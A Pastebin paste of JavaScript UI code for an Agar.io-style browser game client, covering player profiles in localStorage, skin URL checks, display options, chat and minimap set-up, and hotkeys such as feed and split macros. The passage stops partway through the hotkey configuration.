Guest User

Untitled

a guest
Sep 19th, 2019
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function UI() {
  2.     function enter() {
  3.         return $("#nick").val(UI.getName()), nodeList[0][1] == UI.getName() ? false : (nodeList[0][1] = UI.getName(), setLocalStorage("nick", $("#nick").val()), player_profile[selected_profile].name = UI.getName(), data(), true);
  4.     }
  5.  
  6.     function fillHSBFields() {
  7.         var v = UI.getTeamName();
  8.         return $("#team_name").val(v), tmpTeamname == v ? false : (setLocalStorage("opt_teamname", v), player_profile[selected_profile].team = v, data(), true);
  9.     }
  10.  
  11.     function change() {
  12.         setLocalStorage("selected_profile", selected_profile);
  13.         tmpTeamname = UI.getTeamName();
  14.         $("#nick").val(player_profile[selected_profile].name);
  15.         $("#team_name").val(player_profile[selected_profile].team);
  16.         $("#skin_url").val(player_profile[selected_profile].skinurl).trigger("change");
  17.         if (fillHSBFields()) {
  18.             nodeList[0][1] = UI.getName();
  19.             setLocalStorage("nick", UI.getName());
  20.         } else {
  21.             enter();
  22.         }
  23.     }
  24.  
  25.     function data() {
  26.         setLocalStorage("player_profile", player_profile);
  27.     }
  28.     var version = "v3.0.6";
  29.     this.getVersion = function() {
  30.         return version;
  31.     };
  32.     var v = 0.7;
  33.     this.getZoomSpeed = function() {
  34.         return v;
  35.     };
  36.     var v2 = 0.02;
  37.     this.getZoomLimit = function() {
  38.         return v2;
  39.     };
  40.     var aksize = 0.9;
  41.     this.getMassSize = function() {
  42.         return aksize;
  43.     };
  44.     var nksize = 0.9;
  45.     this.getNickSize = function() {
  46.         return nksize;
  47.     };
  48.     var lcsize = 0.6;
  49.     this.getLocationsSize = function() {
  50.         return lcsize;
  51.     };
  52.     var socketip = "na.gaver.io:9700"; // Change the ip to your server ip
  53.     this.getSocketIP = function() {
  54.         return socketip;
  55.     };
  56.     var animationDelay = 200;
  57.     var hatsOpacity = 0.85;
  58.     this.smoothAnimation = function() {
  59.         return animationDelay;
  60.     };
  61.     this.toggleHats = function() {
  62.         $("#hatsPanel").fadeToggle();
  63.     };
  64.  
  65.     var log = {
  66.         info: function(str) {
  67.             console.debug("[INFO]", str);
  68.         },
  69.         warn: function(str) {
  70.             console.warn("[WARN]", str);
  71.         },
  72.         err: function(str) {
  73.             console.error("[ERROR] ", str);
  74.         },
  75.         debug: function(str) {
  76.             console.info("[DEBUG] ", str);
  77.         }
  78.     };
  79.     this.play = function() {
  80.        setNick(document.getElementById("nick").value);
  81.     };
  82.     $.getJSON("js/lbcolors.json?version=" + (new Date()).getSeconds(), function(a) {
  83.         window.tagColors = a.tagcolors;
  84.     });
  85.     this.isEnableHideFood = this.isEnableGridline = this.isEnableBorder = this.isEnableMapGrid = this.isEnableCursorLine = this.isEnableZoom = this.isStopMovement = this.isShowBallTotal = this.isShowSTE = this.isShowScroll = false;
  86.     this.isEnableShowAllMass = true;
  87.     this.isEnableSimpleDrawing = true;
  88.     this.isEnableAutoStart = false;
  89.     this.isEnableMouseW = false;
  90.     this.isEnableCustomSkin = true;
  91.     this.isEnableAttackRange = false;
  92.     this.isEnableChatpopup = false;
  93.     this.attackRangeRadius = 655;
  94.     this.cellColor = "";
  95.     this.doubleSpace = this.quickSpace = this.autoW = false;
  96.     this.doubleSpaceCount = this.quickSpaceCount = 0;
  97.     this.lockZoomG;
  98.     this.isEnableLockZoom = true;
  99.     this.teammateIndicatorPosition = 40;
  100.     this.teammateIndicatorSize = 50;
  101.     this.teammateIndicatorShowSize = 370;
  102.     this.teammateIndicator;
  103.     this.isEnableTeammateIndicator = false;
  104.     this.specTeammate = false;
  105.     this.isSpecTeammate = false;
  106.     this.isSpectating = false;
  107.     this.isSameColorFood = false;
  108.     this.isEnableSplitInd = this.isShowTextStrokeLine = this.isAutoHideName = this.isAutoHideMass = this.isTransparentCell = false;
  109.     this.isShowFPS = true;
  110.     this.isEnableOtherSkinSupport = false;
  111.     this.isEnableBorder = true;
  112.     this.isShowMass = true;
  113.     this.isShowPacketIO = false;
  114.     this.isHideSelfName = false;
  115.     this.isEnableDrawHats = true;
  116.  
  117.     this.init = function() {
  118.         $('body').append('<canvas id="canvas">');
  119.         var c = document.getElementById("canvas");
  120.         c.getContext("2d");
  121.         c.mozOpaque = true;
  122.         window.setLocalStorage = function(key, value) {
  123.             if ("string" == typeof value) {
  124.                 localStorage.setItem(key, value);
  125.             } else {
  126.                 localStorage.setItem(key, JSON.stringify(value));
  127.             }
  128.         };
  129.         window.getLocalStorage = function(storageKey) {
  130.             return localStorage.getItem(storageKey);
  131.         };
  132.         if (getLocalStorage("selected_profile")) {
  133.             selected_profile = getLocalStorage("selected_profile");
  134.         }
  135.         if (getLocalStorage("player_profile")) {
  136.             player_profile = JSON.parse(getLocalStorage("player_profile"));
  137.         } else {
  138.             if (getLocalStorage("nick")) {
  139.                 player_profile[selected_profile].name = getLocalStorage("nick");
  140.             }
  141.             if (getLocalStorage("opt_teamname")) {
  142.                 player_profile[selected_profile].team = getLocalStorage("opt_teamname");
  143.             }
  144.             if (getLocalStorage("skin_url")) {
  145.                 player_profile[selected_profile].skinurl = getLocalStorage("skin_url");
  146.             }
  147.         }
  148.         c = 0;
  149.         for (; c < player_profile.length; c++) {
  150.             window.postMessage({
  151.                 data: player_profile[c].skinurl
  152.             }, "*");
  153.         }
  154.         $("body").attr("oncontextmenu", "return false;");
  155.         nodeList[0] = ["me", getLocalStorage("nick"), null, null, "yellow"];
  156.         nodeList[1] = ["top1", "", null, null, "red"];
  157.         nodeList[0][8] = Date.now();
  158.         nodeList[1][8] = Date.now();
  159.         chatRoom = new ChatRoom;
  160.         chatRoom.setContainer("#overlays2");
  161.         chatRoom.createChatBox();
  162.         minimap = new Minimap;
  163.         minimap.createMap(270);
  164.         c = document.createElement("canvas");
  165.         var context = c.getContext("2d");
  166.         context.beginPath();
  167.         context.lineWidth = 16;
  168.         context.moveTo(0, 0);
  169.         context.lineTo(100, 0);
  170.         context.lineTo(50, 50);
  171.         context.closePath();
  172.         context.strokeStyle = "Red";
  173.         context.fillStyle = "yellow";
  174.         context.stroke();
  175.         context.fill();
  176.         this.teammateIndicator = c;
  177.         conn = new Connection;
  178.         conn.connect();
  179.     };
  180.     this.newGame = function() {
  181.         $("#nick").prop("disabled", true);
  182.         $(".btn-spectate").prop("disabled", true);
  183.         $(".btn-spectate > i").replaceWith('<i class="material-icons">visibility_off</i>');
  184.         isJoinedGame = true;
  185.         UI.isStopMovement = false;
  186.         UI.isSpectating = false;
  187.         UI.cellColor = "";
  188.         UI.newGameImpl();
  189.         spectateMode = false;
  190.         nodeList[1][2] = null;
  191.         nodeList[1][3] = null;
  192.     };
  193.     this.afterGameLogicLoaded = function() {
  194.         UI.setupOption();
  195.         UI.setupHotKey();
  196.         UI.restoreSetting();
  197.         UI.setUpHotKeyConfigPage();
  198.         UI.setupHints();
  199.         UI.checkVersion();
  200.         UI.downloadSkin();
  201.         $("#nick").change(function() {
  202.             enter();
  203.         });
  204.         $("#team_name").change(function() {
  205.             fillHSBFields();
  206.         }).focus(function() {
  207.             tmpTeamname = UI.getTeamName();
  208.         });
  209.         $("#skin_url").change(function() {
  210.             var nv = getLocalStorage("skin_url");
  211.             var v = UI.getCustomSkinUrl();
  212.             $("#skin_url").val(v);
  213.             if (nv != v) {
  214.                 nv = /^(?:(?:https?|ftp):\/\/)(?:\S+(?::\S*)?@)?(?:(?!10(?:\.\d{1,3}){3})(?!127(?:\.\d{1,3}){3})(?!169\.254(?:\.\d{1,3}){2})(?!192\.168(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z\u00a1-\uffff0-9]+-?)*[a-z\u00a1-\uffff0-9]+)(?:\.(?:[a-z\u00a1-\uffff0-9]+-?)*[a-z\u00a1-\uffff0-9]+)*(?:\.(?:[a-z\u00a1-\uffff]{2,})))(?::\d{2,5})?(?:\/[^\s]*)?$/i;
  215.                 if ("DEFAULT" == v || nv.test(v)) {
  216.                     setLocalStorage("skin_url", v);
  217.                     nodeList[0][5] = v;
  218.                     player_profile[selected_profile].skinurl = UI.getCustomSkinUrl();
  219.                     data();
  220.                     if (customSkin[v]) {
  221.                         UI.changePreviewImage(customSkin[v].src);
  222.                     } else {
  223.                         skinDownloadQueue.push(v);
  224.                     }
  225.                 } else {
  226.                     log.error("Not valid URL");
  227.                     $('#preview-img').attr('src', 'img/error.png');
  228.                     swal({
  229.                         title: 'Not Valid URL',
  230.                         text: 'Try again with another link...',
  231.                         type: "warning",
  232.                         timer: 1500,
  233.                         showConfirmButton: false
  234.                     });
  235.                 }
  236.             }
  237.         });
  238.         $(".nav2.arrow-left").click(function() {
  239.             selected_profile = (player_profile.length + selected_profile - 1) % player_profile.length;
  240.             change();
  241.         });
  242.         $(".nav2.arrow-right").click(function() {
  243.             selected_profile = (selected_profile + 1) % player_profile.length;
  244.             change();
  245.         });
  246.         data();
  247.     };
  248.     this.spectate = function(buffer2) {
  249.         conn.joinRoom(UI.getRoom());
  250.         if (!(buffer2 && 0 != buffer2.length)) {
  251.             UI.isSpectating = true;
  252.         }
  253.     };
  254.     this.newGameImpl = function() {
  255.         var e = true;
  256.         var sectors = getCell();
  257.         if (!(sectors && 0 != sectors.length)) {
  258.             e = false;
  259.         }
  260.         if (e) {
  261.             nodeList[0][6] = sectors[0].color;
  262.             conn.joinRoom(UI.getRoom());
  263.         } else {
  264.             setTimeout(UI.newGameImpl, 100);
  265.         }
  266.     };
  267.     this.onDead = function() {
  268.         isJoinedGame = false;
  269.         $(".btn-spectate").prop("disabled", false);
  270.         $(".btn-spectate > i").replaceWith('<i id="icon" class="material-icons">visibility</i>');
  271.         $("#nick").prop("disabled", false);
  272.         $(".nav").show();
  273.         conn.leaveRoom(UI.getRoom());
  274.     };
  275.     this.afterGameLoaded = function() {
  276.         UI.isSpectating = false;
  277.         updateLBCount = -1;
  278.         $("#nick").prop("disabled", false);
  279.         $("#ip_info").text("Server: " + $("#chooseServer option:selected").text());
  280.         setInterval(function() {
  281.             var startTime;
  282.             $.ajax({
  283.                 beforeSend: function(xhr) {
  284.                     startTime = +new Date();
  285.                 },
  286.                 complete: function(xhr, state) {
  287.                     var latency = (new Date()) - startTime;
  288.                     $("#latency_info").text("Latency: " + latency);
  289.                 }
  290.             });
  291.         }, 1500);
  292.         moveTo(null, null);
  293.         UI.specTeammate = null;
  294.         UI.isStopMovement = false;
  295.         minimap.setDeadPosition(null);
  296.         conn.joinRoom(UI.getRoom());
  297.     };
  298.     this.getRoom = function() {
  299.         return "N/A" == UI.getCurrentPartyCode() ? UI.getTeamName() + UI.getCurrentIP() : UI.getTeamName() + UI.getCurrentPartyCode();
  300.     };
  301.     this.restoreSetting = function() {
  302.         if (getLocalStorage("opt_teamname")) {
  303.             $("#team_name").val(getLocalStorage("opt_teamname"));
  304.         }
  305.         if (getLocalStorage("nick") && "" != getLocalStorage("nick").trim()) {
  306.             $("#nick").val(getLocalStorage("nick", UI.getName()));
  307.         } else {
  308.             $("#nick").val(UI.getName());
  309.             setLocalStorage("nick", UI.getName());
  310.         }
  311.         nodeList[0][1] = UI.getName();
  312.         if (getLocalStorage("opt_zoom_speed")) {
  313.             v = getLocalStorage("opt_zoom_speed");
  314.             $("#opt_zoom_speed").val(v);
  315.             $("#txt_zoom_speed").text(v);
  316.         }
  317.         if (getLocalStorage("opt_nick_size")) {
  318.             nksize = getLocalStorage("opt_nick_size");
  319.             $("#opt_nick_size").val(nksize);
  320.             $("#txt_nick_size").text(nksize);
  321.         }
  322.         if (getLocalStorage("opt_mass_size")) {
  323.             aksize = getLocalStorage("opt_nick_size");
  324.             $("#opt_mass_size").val(aksize);
  325.             $("#txt_mass_size").text(aksize);
  326.         }
  327.         if (getLocalStorage("opt_locations_size")) {
  328.             lcsize = getLocalStorage("opt_locations_size");
  329.             $("#opt_locations_size").val(lcsize);
  330.             $("#txt_locations_size").text(lcsize);
  331.         }
  332.         if (getLocalStorage("opt_smooth_animation")) {
  333.             animationDelay = getLocalStorage("opt_smooth_animation");
  334.             $("#opt_smooth_animation").val(animationDelay);
  335.             $("#txt_smooth_animation").text(animationDelay);
  336.         }
  337.  
  338.         if (getLocalStorage("hatOpacity")) {
  339.             hatsOpacity = getLocalStorage("hatOpacity");
  340.             $("#hatOpacity").val(hatsOpacity);
  341.             $("#txtOpacity").text(hatsOpacity);
  342.         }
  343.         var n = getLocalStorage("skin_url");
  344.         if (n && "" != n || (setLocalStorage("skin_url", defaultSkin), n = defaultSkin), n && ("" != n && ($("#skin_url").val(getLocalStorage("skin_url")), nodeList[0][5] = n, customSkin[n] ? UI.changePreviewImage(customSkin[n].src) : skinDownloadQueue.push(getLocalStorage("skin_url")))), getLocalStorage("hotkeyMapping")) {
  345.             hotkeyMapping = JSON.parse(getLocalStorage("hotkeyMapping"));
  346.         } else {
  347.             var unlock;
  348.             for (unlock in hotkeyConfig) {
  349.                 if (hotkeyConfig[unlock].defaultHotkey) {
  350.                     if ("" != hotkeyConfig[unlock].defaultHotkey) {
  351.                         hotkeyMapping[hotkeyConfig[unlock].defaultHotkey] = unlock;
  352.                     }
  353.                 }
  354.             }
  355.             setLocalStorage("hotkeyMapping", hotkeyMapping);
  356.         }
  357.         if (getLocalStorage("chatCommand")) {
  358.             chatCommand = JSON.parse(getLocalStorage("chatCommand"));
  359.         } else {
  360.             chatCommand = defaultHotkeyMessageSend;
  361.             setLocalStorage("chatCommand", chatCommand);
  362.         }
  363.     };
  364.     this.setupOption = function() {
  365.         var options = {
  366.             opt_self_name: {
  367.                 text: "Hide my name",
  368.                 "default": true,
  369.                 handler: function(token) {
  370.                     UI.isHideSelfName = token;
  371.                 }
  372.             },
  373.             opt_name: {
  374.                 text: "Hide Names",
  375.                 handler: function(token) {
  376.                     setNames(!token);
  377.                 }
  378.             },
  379.             opt_color: {
  380.                 text: "Hide blob colors",
  381.                 handler: function(token) {
  382.                     setColors(token);
  383.                 }
  384.             },
  385.             opt_noskin: {
  386.                 text: "Hide Skin URL",
  387.                 disabled: false,
  388.                 "default": false,
  389.                 handler: function(token) {
  390.                     if (token) {
  391.                         $("#skin_url").css("cssText", "color: #fff!important");
  392.                     } else {
  393.                         $("#skin_url").css("cssText", "color: #000!important");
  394.                     }
  395.                 }
  396.             },
  397.             opt_mass: {
  398.                 text: "Show mass",
  399.                 "default": true,
  400.                 handler: function(token) {
  401.                     setShowMass(token);
  402.                 }
  403.             },
  404.             opt_massinks: {
  405.                 text: "Mass In Ks",
  406.                 "default": true,
  407.                 handler: function(token) {
  408.                     UI.massInKs = token;
  409.                 }
  410.             },
  411.             opt_camera: {
  412.                 text: "Smooth Camera",
  413.                 "default": false,
  414.                 handler: function(token) {
  415.                     UI.smoothCamera = token;
  416.                 }
  417.             },
  418.             opt_mapgrid: {
  419.                 text: "Grid Locations",
  420.                 "default": true,
  421.                 handler: function(token) {
  422.                     UI.isEnableMapGrid = token;
  423.                 }
  424.             },
  425.             opt_Gridline: {
  426.                 text: " EnableGridline",
  427.                 "default": true,
  428.                 handler: function(token) {
  429.                     UI.isEnableGridline = token;
  430.                 }
  431.             },
  432.             opt_cursorline: {
  433.                 text: "Cursor Line",
  434.                 "default": true,
  435.                 handler: function(token) {
  436.                     UI.isEnableCursorLine = token;
  437.                 }
  438.             },
  439.             opt_zoom: {
  440.                 text: "Zoom",
  441.                 "default": true,
  442.                 handler: function(token) {
  443.                     UI.isEnableZoom = token;
  444.                 }
  445.             },
  446.             opt_food: {
  447.                 text: "Hide Pellets",
  448.                 handler: function(token) {
  449.                     UI.isEnableHideFood = token;
  450.                 }
  451.             },
  452.             "opt_border": {
  453.                 text: "Map Border",
  454.                 default: true,
  455.                 handler: function(token) {
  456.                     UI.isEnableBorder = token;
  457.                 }
  458.             },
  459.             opt_score: {
  460.                 text: "Score",
  461.                 "default": true,
  462.                 handler: function(token) {
  463.                     UI.isShowScroll = token;
  464.                 }
  465.             },
  466.             opt_current_Mass: {
  467.                 text: "Mass",
  468.                 "default": true,
  469.                 handler: function(token) {
  470.                     UI.isShowMass = token;
  471.                 }
  472.             },
  473.             opt_ste: {
  474.                 text: "STE",
  475.                 "default": false,
  476.                 handler: function(token) {
  477.                     UI.isShowSTE = token;
  478.                 }
  479.             },
  480.             opt_ball_total: {
  481.                 text: "[n/16]",
  482.                 "default": false,
  483.                 handler: function(token) {
  484.                     UI.isShowBallTotal = token;
  485.                 }
  486.             },
  487.             opt_fps: {
  488.                 text: "FPS",
  489.                 "default": true,
  490.                 handler: function(token) {
  491.                     UI.isShowFPS = token;
  492.                 }
  493.             },
  494.             opt_packetIO: {
  495.                 text: "Packets I/O",
  496.                 "default": false,
  497.                 handler: function(token) {
  498.                     UI.isShowPacketIO = token;
  499.                 }
  500.             },
  501.             opt_minimap: {
  502.                 text: "Minimap",
  503.                 "default": true,
  504.                 handler: function(token) {
  505.                     if (token) {
  506.                         minimap.show();
  507.                     } else {
  508.                         minimap.hide();
  509.                     }
  510.                 }
  511.             },
  512.             opt_mousew: {
  513.                 text: "Mouse Feed",
  514.                 handler: function(token) {
  515.                     UI.isEnableMouseW = token;
  516.                 }
  517.             },
  518.             opt_transparent_cell: {
  519.                 text: "Transparent Blobs",
  520.                 handler: function(token) {
  521.                     UI.isTransparentCell = token;
  522.                 }
  523.             },
  524.             opt_auto_hide_mass: {
  525.                 text: "Auto Hide Mass",
  526.                 "default": true,
  527.                 handler: function(token) {
  528.                     UI.isAutoHideMass = token;
  529.                 }
  530.             },
  531.             opt_auto_hide_name: {
  532.                 text: "Auto Hide Names",
  533.                 "default": true,
  534.                 handler: function(token) {
  535.                     UI.isAutoHideName = token;
  536.                 }
  537.             },
  538.             opt_show_text_stroke_line: {
  539.                 text: "Text Shadows",
  540.                 handler: function(token) {
  541.                     UI.isShowTextStrokeLine = token;
  542.                 }
  543.             },
  544.             opt_lock_zoom: {
  545.                 text: "Auto Zoom",
  546.                 handler: function(token) {
  547.                     UI.isEnableLockZoom = !token;
  548.                 }
  549.             },
  550.             opt_split_ind: {
  551.                 text: "Split Indicators",
  552.                 handler: function(token) {
  553.                     UI.isEnableSplitInd = token;
  554.                 }
  555.             },
  556.             opt_custom_skin: {
  557.                 text: "Custom Skins",
  558.                 "default": true,
  559.                 handler: function(token) {
  560.                     UI.isEnableCustomSkin = token;
  561.                 }
  562.             },
  563.             opt_teammate_indicator: {
  564.                 text: "Cell Indicator",
  565.                 "default": true,
  566.                 handler: function(token) {
  567.                     UI.isEnableTeammateIndicator = token;
  568.                 }
  569.             },
  570.             opt_chatbox: {
  571.                 text: "Chatbox",
  572.                 disabled: false,
  573.                 "default": false,
  574.                 handler: function(token) {
  575.                     if (token) {
  576.                         chatRoom.show();
  577.                     } else {
  578.                         chatRoom.hide();
  579.                     }
  580.                 }
  581.             },
  582.             opt_chatpopup: {
  583.                 text: "Chat Popup",
  584.                 disabled: false,
  585.                 "default": true,
  586.                 handler: function(token) {
  587.                     UI.isEnableChatpopup = token;
  588.                 }
  589.             }
  590.         };
  591.         window.setYinSkinSupport = function(firstRestricted) {
  592.             options.opt_other_skin.handler(firstRestricted);
  593.             setLocalStorage("opt_other_skin", firstRestricted);
  594.         };
  595.         var i;
  596.         var row = [];
  597.         for (i in options) {
  598.             if (!options[i].disabled) {
  599.                 row.push('<input id="' + i + '" class="check-slider__check" type="checkbox"> ' + options[i].text + "<br>");
  600.             }
  601.         }
  602.         var d = row.splice(0, 15);
  603.         var j = 0;
  604.         for (; j < d.length; j++) {
  605.             $(".firstSettings").append(d[j]);
  606.         }
  607.         j = 0;
  608.         for (; j < row.length; j++) {
  609.             $(".secondSettings").append(row[j]);
  610.         }
  611.         $("input:checkbox").change(function() {
  612.             var firstRestricted = $(this).prop("checked");
  613.             var type = $(this).prop("id");
  614.             setLocalStorage(type, firstRestricted);
  615.             if (options[type]) {
  616.                 options[type].handler(firstRestricted);
  617.             }
  618.         });
  619.         for (i in options) {
  620.             if (getLocalStorage(i)) {
  621.                 if ("true" == getLocalStorage(i)) {
  622.                     if ("opt_other_skin" == i) {
  623.                         setYinSkinSupport(true);
  624.                     } else {
  625.                         $("#" + i).click();
  626.                     }
  627.                 }
  628.             } else {
  629.                 if (options[i]["default"]) {
  630.                     $("#" + i).click();
  631.                 }
  632.             }
  633.         }
  634.         $("#opt_zoom_speed").change(function() {
  635.             v = $("#opt_zoom_speed").val();
  636.             $("#txt_zoom_speed").text($("#opt_zoom_speed").val());
  637.             setLocalStorage("opt_zoom_speed", v);
  638.         });
  639.         $("#opt_nick_size").change(function() {
  640.             nksize = $("#opt_nick_size").val();
  641.             $("#txt_nick_size").text($("#opt_nick_size").val());
  642.             setLocalStorage("opt_nick_size", nksize);
  643.         });
  644.         $("#opt_mass_size").change(function() {
  645.             aksize = $("#opt_mass_size").val();
  646.             $("#txt_mass_size").text($("#opt_mass_size").val());
  647.             setLocalStorage("opt_mass_size", aksize);
  648.         });
  649.         $("#opt_locations_size").change(function() {
  650.             lcsize = $("#opt_locations_size").val();
  651.             $("#txt_locations_size").text($("#opt_locations_size").val());
  652.             setLocalStorage("opt_locations_size", lcsize);
  653.         });
  654.         $("#opt_smooth_animation").change(function() {
  655.             animationDelay = $("#opt_smooth_animation").val();
  656.             $("#txt_smooth_animation").text($("#opt_smooth_animation").val());
  657.             setLocalStorage("opt_smooth_animation", animationDelay);
  658.         });
  659.         $("#hatOpacity").change(function() {
  660.             hatsOpacity = $("#hatOpacity").val();
  661.             $("#txtOpacity").text($("#hatOpacity").val());
  662.             setLocalStorage("hatOpacity", hatsOpacity);
  663.         });
  664.     };
  665.     this.scoreInfo = function(millis) {
  666.         if (!millis || !millis.length) {
  667.             return "";
  668.         }
  669.         var optsData = "";
  670.         return UI.isShowSTE && (optsData += "   STE: " + this.getSTE(millis)), UI.isShowBallTotal && (optsData += "   [" + millis.length + "/16]"), optsData;
  671.     };
  672.     this.scoreTxt = function(dataAndEvents) {
  673.         return UI.isShowScroll ? dataAndEvents : "";
  674.     };
  675.     this.isShowScoreInfo = function() {
  676.         return UI.isShowScroll || (UI.isShowSTE || UI.isShowBallTotal);
  677.     };
  678.     this.showSystemMessage = function() {
  679.         return false;
  680.     };
  681.     this.getSTE = function(codeSegments) {
  682.         var w = 0;
  683.         var i = 0;
  684.         for (; i < codeSegments.length; i++) {
  685.             if (codeSegments[i]) {
  686.                 if (codeSegments[i].I) {
  687.                     if (codeSegments[i].I.w) {
  688.                         if (codeSegments[i].I.w > w) {
  689.                             w = codeSegments[i].I.w;
  690.                         }
  691.                     }
  692.                 }
  693.             }
  694.         }
  695.         return ~~(0.375 * w);
  696.     };
  697.     this.isPrivateServer = function() {
  698.         return PRIVATE_SERVER_IP == currentIP;
  699.     };
  700.     this.getCurrentIP = function() {
  701.         return this.isPrivateServer() ? "----------" : currentIP.substring(5, currentIP.length);
  702.     };
  703.     this.getTeamName = function() {
  704.         return ("" == $("#team_name").val() ? "" : $("#team_name").val()).trim();
  705.     };
  706.     this.getCustomSkinUrl = function() {
  707.         var ret = ($("#skin_url").val() + "").trim();
  708.         return "" == ret ? "" : ret;
  709.     };
  710.     this.getCurrentPartyCode = function() {
  711.         return currentIP;
  712.     };
  713.     this.getCurrentServer = function() {
  714.         return currentIP
  715.     };
  716.     this.showMessage = function(message, options) {
  717.         if (0 == $("#message_dialog").length) {
  718.             UI.createMessageDialog();
  719.         }
  720.         $("#message_dialog_title").text(message);
  721.         $("#message_dialog_content").html(options);
  722.         $("#message_dialog").modal({
  723.             show: "true"
  724.         });
  725.     };
  726.     this.getName = function() {
  727.         var val = $("#nick").val().trim();
  728.         return -1 != val.indexOf("\u200b") && (val = ""), "" == val ? "" : val;
  729.     };
  730.     this.getLeaderBoard = function() {
  731.         var listenersArr = [];
  732.         var codeSegments = getLB();
  733.         if (codeSegments) {
  734.             var i = 0;
  735.             for (; i < codeSegments.length; i++) {
  736.                 listenersArr[listenersArr.length] = "" == codeSegments[i].name ? "An unnamed cell" : escapeHtml(codeSegments[i].name);
  737.             }
  738.         }
  739.         return listenersArr;
  740.     };
  741.     this.setupHotKey = function() {
  742.         hotkeyConfig = {
  743.             hk_start_new_game: {
  744.                 defaultHotkey: "C",
  745.                 name: "Respawn",
  746.                 keyDown: function() {
  747.                     $.toast({
  748.                         heading: '<span id="server-toast" class="toast_sender">SERVER:</span>',
  749.                         text: '<span class="toast_chatmsg">Respawning...</span>',
  750.                         icon: 'success',
  751.                         showHideTransition: 'fade',
  752.                         bgColor: 'rgba(10, 10, 10, 0.95)',
  753.                         allowToastClose: false,
  754.                         hideAfter: 1000,
  755.                         stack: 5
  756.                     })
  757.                     connect($("#chooseServer").val());
  758.                     setNick(UI.getName());
  759.                 },
  760.                 type: "NORMAL"
  761.             },
  762.             hk_cheatw: {
  763.                 defaultHotkey: "E",
  764.                 name: "Macro W",
  765.                 keyDown: function() {
  766.                     UI.autoW = true;
  767.                     handleQuickW();
  768.                 },
  769.                 keyUp: function() {
  770.                     UI.autoW = false;
  771.                 },
  772.                 type: "NORMAL"
  773.             },
  774.             hk_quick_space: {
  775.                 defaultHotkey: "T",
  776.                 name: "Quick space",
  777.                 keyDown: function() {
  778.                     if (!UI.quickSpace) {
  779.                         UI.quickSpace = true;
  780.                         quickSpace();
  781.                     }
  782.                 },
  783.                 keyUp: function() {
  784.                     UI.quickSpace = false;
  785.                 },
  786.                 type: "NORMAL"
  787.             },
  788.             hk_double_space: {
  789.                 defaultHotkey: "G",
  790.                 name: "Double space",
  791.                 keyDown: function() {
  792.                     if (!UI.doubleSpace) {
  793.                         UI.doubleSpace = true;
  794.                         doubleSpace();
  795.                     }
  796.                 },
  797.                 keyUp: function() {
  798.                     UI.doubleSpace = false;
  799.                 },
  800.                 type: "NORMAL"
  801.             },
  802.             hk_stop_movement_toggle: {
  803.                 defaultHotkey: "S",
  804.                 name: "Stop movement (Toggle)",
  805.                 keyDown: function() {
  806.                     UI.isStopMovement = !UI.isStopMovement;
  807.                     UI.specTeammate = null;
  808.                 },
  809.                 type: "NORMAL"
  810.             },
  811.             hk_split_ind: {
  812.                 defaultHotkey: "I",
  813.                 name: "On/ off split indicator",
  814.                 keyDown: function() {
  815.                     $("#opt_split_ind").click();
  816.                 },
  817.                 type: "NORMAL"
  818.             },
  819.             hk_lock_zoom: {
  820.                 defaultHotkey: "L",
  821.                 name: "On/ off auto zoom",
  822.                 keyDown: function() {
  823.                     $("#opt_lock_zoom").click();
  824.                 },
  825.                 type: "NORMAL"
  826.             },
  827.             hk_custom_skin: {
  828.                 defaultHotkey: "Z",
  829.                 name: "On/ off Custom skin",
  830.                 keyDown: function() {
  831.                     $("#opt_custom_skin").click();
  832.                 },
  833.                 type: "NORMAL"
  834.             },
  835.             hk_skin: {
  836.                 defaultHotkey: "X",
  837.                 name: "Show/ hide skins",
  838.                 keyDown: function() {
  839.                     $("#opt_skin").click();
  840.                 },
  841.                 type: "NORMAL"
  842.             },
  843.             "hk_pause": {
  844.                 defaultHotkey: "P",
  845.                 name: "Pause game for short moment",
  846.                 keyDown: function() {
  847.                     var pause = (new Date).getTime();
  848.                     for (; pause + 500 >= (new Date).getTime();) {}
  849.                 },
  850.                 type: "NORMAL"
  851.             },
  852.             hk_zoom_a: {
  853.                 defaultHotkey: "1",
  854.                 name: "Zoom level 1",
  855.                 keyDown: function() {
  856.                     if (!UI.isEnableLockZoom) {
  857.                         hotkeyConfig.hk_lock_zoom.keyDown();
  858.                     }
  859.                     setZoomLevel(0.75);
  860.                 },
  861.                 type: "NORMAL"
  862.             },
  863.             hk_zoom_b: {
  864.                 defaultHotkey: "2",
  865.                 name: "Zoom level 2",
  866.                 keyDown: function() {
  867.                     if (!UI.isEnableLockZoom) {
  868.                         hotkeyConfig.hk_lock_zoom.keyDown();
  869.                     }
  870.                     setZoomLevel(0.3);
  871.                 },
  872.                 type: "NORMAL"
  873.             },
  874.             hk_zoom_c: {
  875.                 defaultHotkey: "3",
  876.                 name: "Zoom level 3",
  877.                 keyDown: function() {
  878.                     if (!UI.isEnableLockZoom) {
  879.                         hotkeyConfig.hk_lock_zoom.keyDown();
  880.                     }
  881.                     setZoomLevel(0.15);
  882.                 },
  883.                 type: "NORMAL"
  884.             },
  885.             hk_zoom_d: {
  886.                 defaultHotkey: "4",
  887.                 name: "Zoom level 4",
  888.                 keyDown: function() {
  889.                     if (!UI.isEnableLockZoom) {
  890.                         hotkeyConfig.hk_lock_zoom.keyDown();
  891.                     }
  892.                     setZoomLevel(0.08);
  893.                 },
  894.                 type: "NORMAL"
  895.             },
  896.             hk_zoom_e: {
  897.                 defaultHotkey: "5",
  898.                 name: "Zoom level 5",
  899.                 keyDown: function() {
  900.                     if (!UI.isEnableLockZoom) {
  901.                         hotkeyConfig.hk_lock_zoom.keyDown();
  902.                     }
  903.                     setZoomLevel(0.05);
  904.                 },
  905.                 type: "NORMAL"
  906.             },
  907.             hk_name: {
  908.                 defaultHotkey: "N",
  909.                 name: "Show/ hide names",
  910.                 keyDown: function() {
  911.                     $("#opt_name").click();
  912.                 },
  913.                 type: "NORMAL"
  914.             },
  915.             hk_mass: {
  916.                 defaultHotkey: "M",
  917.                 name: "Show/ hide mass",
  918.                 keyDown: function() {
  919.                     $("#opt_mass").click();
  920.                 },
  921.                 type: "NORMAL"
  922.             },
  923.             hk_food: {
  924.                 defaultHotkey: "F",
  925.                 name: "Show/ hide Pellets",
  926.                 keyDown: function() {
  927.                     $("#opt_food").click();
  928.                 },
  929.                 type: "NORMAL"
